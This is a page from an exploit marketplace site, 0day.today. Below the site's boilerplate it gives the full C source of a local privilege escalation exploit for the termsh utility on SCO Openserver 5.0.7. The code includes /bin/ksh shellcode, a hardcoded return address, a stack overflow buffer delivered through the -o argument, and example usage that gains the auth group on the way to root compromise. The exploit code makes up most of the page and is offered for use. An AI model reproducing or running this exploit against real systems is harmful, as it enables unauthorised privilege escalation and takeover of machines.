0day.today - Biggest Exploit Database in the World.
Things you should know about 0day.today:
Administration of this site uses the official contacts. Beware of impostors!
- We use one main domain: http://0day.today
- Most of the materials is completely FREE
- If you want to purchase the exploit / get V.I.P. access or pay for any other service,
you need to buy or earn GOLD
Administration of this site uses the official contacts. Beware of impostors!
We DO NOT use Telegram or any messengers / social networks!
Please, beware of scammers!
Please, beware of scammers!
- Read the [ agreement ]
- Read the [ Submit ] rules
- Visit the [ faq ] page
- [ Register ] profile
- Get [ GOLD ]
- If you want to [ sell ]
- If you want to [ buy ]
- If you lost [ Account ]
- Any questions [ admin@0day.today ]
- Authorisation page
- Registration page
- Restore account page
- FAQ page
- Contacts page
- Publishing rules
- Agreement page
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
You can contact us by:
Mail:
Facebook:
Twitter:
Telegram:
We DO NOT use Telegram or any messengers / social networks!
SCO Openserver 5.0.7 (termsh) Local Privilege Escalation Exploit
================================================================ SCO Openserver 5.0.7 (termsh) Local Privilege Escalation Exploit ================================================================ /* SCO Openserver 5.0.7 termsh exploit * =================================== * 'termsh' is a program to view or modify an existing terminal entry on * SCO Openserver. A stack based overflow exists in the handling of command * line arguements, namely the [-o oadir] arguement. It is installed setgid * auth in a default SCO Openserver 5.0.7 install. An attacker may use this * flaw to gain write access to /etc/passwd or /etc/shadow allowing for * local root compromise. * * Example use. * $ id * uid=200(user) gid=50(group) groups=50(group) * $ uname -a * SCO_SV scosysv 3.2 5.0.7 i386 * $ gcc prdelka-vs-SCO-termshx.c -o prdelka-vs-SCO-termshx * $ ./prdelka-vs-SCO-termshx /opt/K/SCO/Unix/5.0.7Hw/usr/lib/sysadm/termsh * [ SCO Openserver 5.0.7 termsh local privilege escalation exploit * $ id * uid=200(user) gid=50(group) egid=21(auth) groups=50(group) * * - prdelka */ #include <stdio.h> #include <stdlib.h> char shellcode[]="\x90\x90\x90\x90\x90\x90\x90\x90" "\x68\xff\xf8\xff\x3c\x6a\x65\x89" "\xe6\xf7\x56\x04\xf6\x16\x31\xc0" "\x50\x68""/ksh""\x68""/bin""\x89" "\xe3\x50\x50\x53\xb0\x3b\xff\xd6"; int main(int argc,char* argv[]) { char* buffer; char* arg = "-o"; char *env[] = {"HISTORY=/dev/null",NULL}; long eip,ptr; int i; printf("[ SCO Openserver 5.0.7 termsh local privilege escalation exploit\n"); if(argc < 2) { printf("[ Error : [path]\n[ Example: %s /opt/K/SCO/Unix/5.0.7Hw/usr/lib/sysadm/termsh\n",argv[0]); exit(0); } eip = 0xa2080853; buffer = malloc(7449 + strlen(shellcode)); memset(buffer,'\x00',7449 + strlen(shellcode)); ptr = (long)buffer + strlen(shellcode); strncpy(buffer,shellcode,strlen(shellcode)); for(i = 1;i <= 1862;i++) { memcpy((char*)ptr,(char*)&eip,4); ptr = ptr + 4; } execle(argv[1],argv[1],arg,buffer,NULL,env); exit(0); } # 0day.today [2024-09-28] #